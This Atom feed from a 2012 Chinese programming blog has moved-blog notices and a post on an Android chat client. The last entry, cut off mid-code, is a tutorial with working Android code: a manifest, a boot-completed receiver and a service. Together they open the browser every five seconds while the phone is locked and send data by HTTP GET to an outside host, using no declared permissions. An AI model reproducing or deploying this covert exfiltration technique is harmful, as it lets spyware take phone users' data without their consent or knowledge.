<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title type="text">博客园_不可一日无烟卷</title><subtitle type="text">转移博客到这里  http://xgeek.me/</subtitle><id>http://feed.cnblogs.com/blog/u/34637/rss</id><updated>2012-03-28T15:46:03Z</updated><author><name>黑暗伯爵</name><uri>http://www.cnblogs.com/hangxin1940/</uri></author><generator>feed.cnblogs.com</generator><link rel="alternate" type="text/html" href="http://www.cnblogs.com/hangxin1940/"/><link rel="self" type="application/atom+xml" href="http://feed.cnblogs.com/blog/u/34637/rss"/><entry><id>http://www.cnblogs.com/hangxin1940/archive/2012/03/28/2422502.html</id><title type="text">android下服务器推送实现 androidpn分析</title><summary type="text">更新到了新博客http://xgeek.me/blog/2012/03/28/androidpn/</summary><published>2012-03-28T15:46:00Z</published><updated>2012-03-28T15:46:00Z</updated><author><name>黑暗伯爵</name><uri>http://www.cnblogs.com/hangxin1940/</uri></author><link rel="alternate" href="http://www.cnblogs.com/hangxin1940/archive/2012/03/28/2422502.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/hangxin1940/archive/2012/03/28/2422502.html"/><content type="html">&lt;p&gt;更新到了新博客&amp;nbsp;&lt;a href="http://xgeek.me/blog/2012/03/28/androidpn/"&gt;http://xgeek.me/blog/2012/03/28/androidpn/&lt;/a&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/hangxin1940/aggbug/2422502.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/hangxin1940/archive/2012/03/28/2422502.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/hangxin1940/archive/2012/03/08/2384984.html</id><title type="text">关于博客</title><summary type="text">这是我博客的新地址，以后这里更新较多些http://xgeek.me/</summary><published>2012-03-08T03:58:00Z</published><updated>2012-03-08T03:58:00Z</updated><author><name>黑暗伯爵</name><uri>http://www.cnblogs.com/hangxin1940/</uri></author><link rel="alternate" href="http://www.cnblogs.com/hangxin1940/archive/2012/03/08/2384984.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/hangxin1940/archive/2012/03/08/2384984.html"/><content type="html">&lt;p&gt;&lt;span style="font-size: 16px;"&gt;这是我博客的新地址，以后这里更新较多些&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 16px;"&gt;&lt;a href="http://xgeek.me/"&gt;http://xgeek.me/&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/hangxin1940/aggbug/2384984.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/hangxin1940/archive/2012/03/08/2384984.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/hangxin1940/archive/2012/02/12/2348306.html</id><title type="text">AtomQQ 随笔</title><summary type="text">最近重写了以前那个atomqq，后来发现自己在整体的设计上水平还是很欠缺，一个人搞也比较吃力，毕竟是一步步分析分析又分析webqq3，所以决定先暂时放下，学学python和架构方面的东西。 累了，也是时候停下来学学了。这是atomqq目前的进度：http://code.google.com/p/atom-qq/ &lt;-源码在这下面是目前进度的程序截图：登陆界面主程序，群列表在右面，左右滑动近期会话，一个向上弹出抽屉群聊天，黄色背景为自己发送的消息写到这里时，突然感觉累了，也有点力不从心了，就先这么放放吧。</summary><published>2012-02-12T12:44:00Z</published><updated>2012-02-12T12:44:00Z</updated><author><name>黑暗伯爵</name><uri>http://www.cnblogs.com/hangxin1940/</uri></author><link rel="alternate" href="http://www.cnblogs.com/hangxin1940/archive/2012/02/12/2348306.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/hangxin1940/archive/2012/02/12/2348306.html"/><content type="html">&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 最近重写了以前那个atomqq，后来发现自己在整体的设计上水平还是很欠缺，一个人搞也比较吃力，毕竟是一步步分析分析又分析webqq3，所以决定先暂时放下，学学python和架构方面的东西。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 累了，也是时候停下来学学了。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;这是atomqq目前的进度：&lt;/p&gt;&lt;p&gt;&lt;a href="http://code.google.com/p/atom-qq/"&gt;http://code.google.com/p/atom-qq/&lt;/a&gt;&amp;nbsp; &amp;lt;-源码在这&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;下面是目前进度的程序截图：&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/31082/2012021220381463.png" alt="登陆界面" width="250" /&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;登陆界面&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/31082/2012021220392957.png" alt="主程序" width="250" /&gt;&lt;/p&gt;&lt;p&gt;主程序，群列表在右面，左右滑动&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/31082/2012021220411149.png" alt="近期会话抽屉" width="250" /&gt;&lt;/p&gt;&lt;p&gt;近期会话，一个向上弹出抽屉&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/31082/2012021220422441.png" alt="群会话" width="250" /&gt;&lt;/p&gt;&lt;p&gt;群聊天，黄色背景为自己发送的消息&lt;/p&gt;&lt;p&gt;写到这里时，突然感觉累了，也有点力不从心了，就先这么放放吧。&lt;/p&gt;&lt;img src="http://www.cnblogs.com/hangxin1940/aggbug/2348306.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/hangxin1940/archive/2012/02/12/2348306.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/hangxin1940/archive/2012/01/14/2322174.html</id><title type="text">抛砖引玉 之 谁动了我的流量(0权限上传数据)</title><summary type="text">上次写过一篇文章 抛砖引玉 之 谁动了我的隐私(android用户隐私窥探) 描述如何读取系统log缓冲区但还存在权限提示问题。这次来个稍微好点的，真正的0权限上传数据同上次讲的一样，虽然大部分用户在安装app时对权限警告视而不见，但相信以后用户会对权限问题越来越重视的。这次咱们先真正的来一次0权限上传热热身。一、原理首先利用的还是那个开机启动bug。然后，在手机锁屏时上传数据。如何上传数据呢，为了避免权限咱们得瞒天过海。我们知道，在Intent转向的时候，可以转到标记为ACTION_VIEW的activity，而浏览器都有这个标记，可以传一个uri过去。soga,说到这里，，明白了吧。就是使</summary><published>2012-01-13T17:40:00Z</published><updated>2012-01-13T17:40:00Z</updated><author><name>黑暗伯爵</name><uri>http://www.cnblogs.com/hangxin1940/</uri></author><link rel="alternate" href="http://www.cnblogs.com/hangxin1940/archive/2012/01/14/2322174.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/hangxin1940/archive/2012/01/14/2322174.html"/><content type="html">&lt;p&gt;上次写过一篇文章 &amp;nbsp;&lt;a id="ctl03_TitleUrl" href="http://www.cnblogs.com/hangxin1940/archive/2011/12/30/2306863.html"&gt;抛砖引玉 之 谁动了我的隐私(android用户隐私窥探)&lt;/a&gt;&amp;nbsp; 描述如何读取系统log缓冲区但还存在权限提示问题。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;这次来个稍微好点的，真正的&lt;span style="color: #ff0000;"&gt;0权限上传数据&lt;/span&gt;&lt;/p&gt;&lt;p&gt;同上次讲的一样，虽然大部分用户在安装app时对权限警告视而不见，但相信以后用户会对权限问题越来越重视的。&lt;/p&gt;&lt;p&gt;这次咱们先真正的来一次0权限上传热热身。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style="color: #ff9900;"&gt;&lt;strong&gt;一、原理&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;首先利用的还是那个开机启动bug。&lt;/p&gt;&lt;p&gt;然后，在手机锁屏时上传数据。&lt;/p&gt;&lt;p&gt;如何上传数据呢，为了避免权限咱们得瞒天过海。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;我们知道，在Intent转向的时候，可以转到标记为ACTION_VIEW的activity，而浏览器都有这个标记，可以传一个uri过去。&lt;/p&gt;&lt;p&gt;soga,说到这里，，明白了吧。就是使用http的GET传参，虽然只能传明文，但已经够了，更何况一次能传输的字节也还是很客观的。&lt;/p&gt;&lt;p&gt;至于传什么，每个想实现这种功能的人都有其目的吧。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: #ff9900;"&gt;二、实现&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;首先是清单文件，不需要声明任何权限，只需要写一个广播接收者和一个服务即可&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color: #ff00ff;"&gt;xml version="1.0" encoding="utf-8"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;?&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;manifest &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;xmlns:android&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="http://schemas.android.com/apk/res/android"&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;&lt;br /&gt;      package&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="org.igeek.hack"&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;&lt;br /&gt;      android:versionCode&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="1"&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;&lt;br /&gt;      android:versionName&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="1.0"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;uses-sdk &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;android:minSdkVersion&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="8"&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;/&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;br /&gt;    &lt;br /&gt;    &lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;application &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;android:icon&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="@drawable/icon"&lt;/span&gt;&lt;span style="color: #ff0000;"&gt; android:label&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="@string/app_name"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;receiver &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;android:name &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;=".reciver.HackReceiver"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;             &lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;intent-filter &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;android:priority &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="1000"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;                 &lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;action &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;android:name &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="android.intent.action.BOOT_COMPLETED"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;/&amp;gt;&lt;/span&gt;&lt;br /&gt;             &lt;span style="color: #0000ff;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;intent-filter &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;           &lt;span style="color: #0000ff;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;receiver &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;           &lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;service &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;android:name&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;=".service.HackerService"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: #0000ff;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;application&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;manifest&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;然后就是广播接收者的实现，很简单，单纯的开启一个服务&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #0000ff;"&gt;package&lt;/span&gt; org.igeek.hack.reciver;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; org.igeek.hack.service.HackerService;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; android.content.BroadcastReceiver;&lt;br /&gt;&lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; android.content.Context;&lt;br /&gt;&lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; android.content.Intent;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #008000;"&gt;/**&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt; * &lt;/span&gt;&lt;span style="color: #808080;"&gt;@author&lt;/span&gt;&lt;span style="color: #008000;"&gt; 作者 E-mail:hangxin1940@gmail.com&lt;br /&gt; * &lt;/span&gt;&lt;span style="color: #808080;"&gt;@version&lt;/span&gt;&lt;span style="color: #008000;"&gt; 创建时间：2012-01-13 下午10:32:21&lt;br /&gt; * 类说明&lt;br /&gt; &lt;/span&gt;&lt;span style="color: #008000;"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; HackReceiver &lt;span style="color: #0000ff;"&gt;extends&lt;/span&gt; BroadcastReceiver {&lt;br /&gt;    &lt;br /&gt;    &lt;br /&gt;    @Override&lt;br /&gt;    &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; onReceive(Context context, Intent intent) {&lt;br /&gt;        Intent it=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Intent(context, HackerService.&lt;span style="color: #0000ff;"&gt;class&lt;/span&gt;);&lt;br /&gt;        context.startService(it);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;}&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&amp;nbsp;最后，就是关键部分，服务的实现&lt;br /&gt;&amp;nbsp;&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #008080;"&gt;  1&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;package&lt;/span&gt; org.igeek.hack.service;&lt;br /&gt;&lt;span style="color: #008080;"&gt;  2&lt;/span&gt; &lt;br /&gt;&lt;span style="color: #008080;"&gt;  3&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; java.util.Random;&lt;br /&gt;&lt;span style="color: #008080;"&gt;  4&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; android.app.KeyguardManager;&lt;br /&gt;&lt;span style="color: #008080;"&gt;  5&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; android.app.Service;&lt;br /&gt;&lt;span style="color: #008080;"&gt;  6&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; android.content.BroadcastReceiver;&lt;br /&gt;&lt;span style="color: #008080;"&gt;  7&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; android.content.Context;&lt;br /&gt;&lt;span style="color: #008080;"&gt;  8&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; android.content.Intent;&lt;br /&gt;&lt;span style="color: #008080;"&gt;  9&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; android.content.IntentFilter;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 10&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; android.net.Uri;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 11&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; android.os.Handler;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 12&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; android.os.IBinder;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 13&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;import&lt;/span&gt; android.util.Log;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 14&lt;/span&gt; &lt;br /&gt;&lt;span style="color: #008080;"&gt; 15&lt;/span&gt; &lt;span style="color: #008000;"&gt;/**&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 16&lt;/span&gt; &lt;span style="color: #008000;"&gt; * &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 17&lt;/span&gt; &lt;span style="color: #008000;"&gt; * &lt;/span&gt;&lt;span style="color: #808080;"&gt;@author&lt;/span&gt;&lt;span style="color: #008000;"&gt; 作者 E-mail:hangxin1940@gmail.com&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 18&lt;/span&gt; &lt;span style="color: #008000;"&gt; * &lt;/span&gt;&lt;span style="color: #808080;"&gt;@version&lt;/span&gt;&lt;span style="color: #008000;"&gt; 创建时间：2012-01-13 下午10:42:11&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 19&lt;/span&gt; &lt;span style="color: #008000;"&gt; * 类说明&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 20&lt;/span&gt;  &lt;span style="color: #008000;"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 21&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; HackerService &lt;span style="color: #0000ff;"&gt;extends&lt;/span&gt; Service {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 22&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; ScreenOnBroadcastReciver soReciver;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 23&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; ScreenOFFBroadcastReciver sfReciver;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 24&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; Handler handler;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 25&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 26&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;final&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;static&lt;/span&gt; String LOG_TAG="hack";&lt;br /&gt;&lt;span style="color: #008080;"&gt; 27&lt;/span&gt;     KeyguardManager keyguardManager;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 28&lt;/span&gt;     Intent it;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 29&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 30&lt;/span&gt;     &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;GET提交地址&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 31&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;final&lt;/span&gt; String HACK_URL="http://www.igeek.org/hack?info=";&lt;br /&gt;&lt;span style="color: #008080;"&gt; 32&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 33&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 34&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 35&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; Runnable r=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Runnable() {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 36&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 37&lt;/span&gt;         @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt; 38&lt;/span&gt;         &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; run() {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 39&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt; 40&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt; 41&lt;/span&gt;             &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;如果是锁屏状态&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 42&lt;/span&gt;             &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt;(keyguardManager.inKeyguardRestrictedInputMode()){&lt;br /&gt;&lt;span style="color: #008080;"&gt; 43&lt;/span&gt;                 &lt;br /&gt;&lt;span style="color: #008080;"&gt; 44&lt;/span&gt;                 &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;GET上传，内容随你&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 45&lt;/span&gt;                 String hackInfo="hack!!!!your information!!!!!!!&amp;amp;r="+&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Random().nextFloat();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 46&lt;/span&gt;                 &lt;br /&gt;&lt;span style="color: #008080;"&gt; 47&lt;/span&gt;                 it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 48&lt;/span&gt;                 Uri uri=Uri.parse(HACK_URL+hackInfo);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 49&lt;/span&gt;                 it.setData(uri);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 50&lt;/span&gt;                 startActivity(it);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 51&lt;/span&gt;                 Log.i(LOG_TAG,"提交数据-&amp;gt;"+HACK_URL+hackInfo);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 52&lt;/span&gt;                 &lt;br /&gt;&lt;span style="color: #008080;"&gt; 53&lt;/span&gt;                 &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;每隔5秒，执行一次上传&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 54&lt;/span&gt;                 handler.postDelayed(r, 5000);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 55&lt;/span&gt;             }                &lt;br /&gt;&lt;span style="color: #008080;"&gt; 56&lt;/span&gt;         }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 57&lt;/span&gt;     };&lt;br /&gt;&lt;span style="color: #008080;"&gt; 58&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 59&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 60&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 61&lt;/span&gt;     @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt; 62&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; onStart(Intent intent, &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; startId) {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 63&lt;/span&gt;         &lt;span style="color: #0000ff;"&gt;super&lt;/span&gt;.onStart(intent, startId);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 64&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 65&lt;/span&gt;         keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 66&lt;/span&gt;         it=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Intent(Intent.ACTION_VIEW);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 67&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 68&lt;/span&gt;         handler=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Handler();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 69&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 70&lt;/span&gt;         Log.i(LOG_TAG, "开机完成，注册广播接收者");&lt;br /&gt;&lt;span style="color: #008080;"&gt; 71&lt;/span&gt;         soReciver=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; ScreenOnBroadcastReciver();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 72&lt;/span&gt;         sfReciver=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; ScreenOFFBroadcastReciver();&lt;br /&gt;&lt;span style="color: #008080;"&gt; 73&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 74&lt;/span&gt;         IntentFilter onIntentFilter = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; IntentFilter("android.intent.action.SCREEN_ON"); &lt;br /&gt;&lt;span style="color: #008080;"&gt; 75&lt;/span&gt;         registerReceiver(soReciver, onIntentFilter);  &lt;br /&gt;&lt;span style="color: #008080;"&gt; 76&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt; 77&lt;/span&gt;         IntentFilter offIntentFilter = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; IntentFilter("android.intent.action.SCREEN_OFF"); &lt;br /&gt;&lt;span style="color: #008080;"&gt; 78&lt;/span&gt;         registerReceiver(sfReciver, offIntentFilter);  &lt;br /&gt;&lt;span style="color: #008080;"&gt; 79&lt;/span&gt;     }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 80&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 81&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 82&lt;/span&gt;     @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt; 83&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; IBinder onBind(Intent intent) {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 84&lt;/span&gt;         &lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 85&lt;/span&gt;     }&lt;br /&gt;&lt;span style="color: #008080;"&gt; 86&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt; 87&lt;/span&gt;     &lt;span style="color: #008000;"&gt;/**&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 88&lt;/span&gt; &lt;span style="color: #008000;"&gt;     * 解锁广播接收者&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 89&lt;/span&gt; &lt;span style="color: #008000;"&gt;     * &lt;/span&gt;&lt;span style="color: #808080;"&gt;@author&lt;/span&gt;&lt;span style="color: #008000;"&gt; hang&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 90&lt;/span&gt; &lt;span style="color: #008000;"&gt;     *&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt; 91&lt;/span&gt; &lt;span style="color: #008000;"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008080;"&gt; 92&lt;/span&gt;     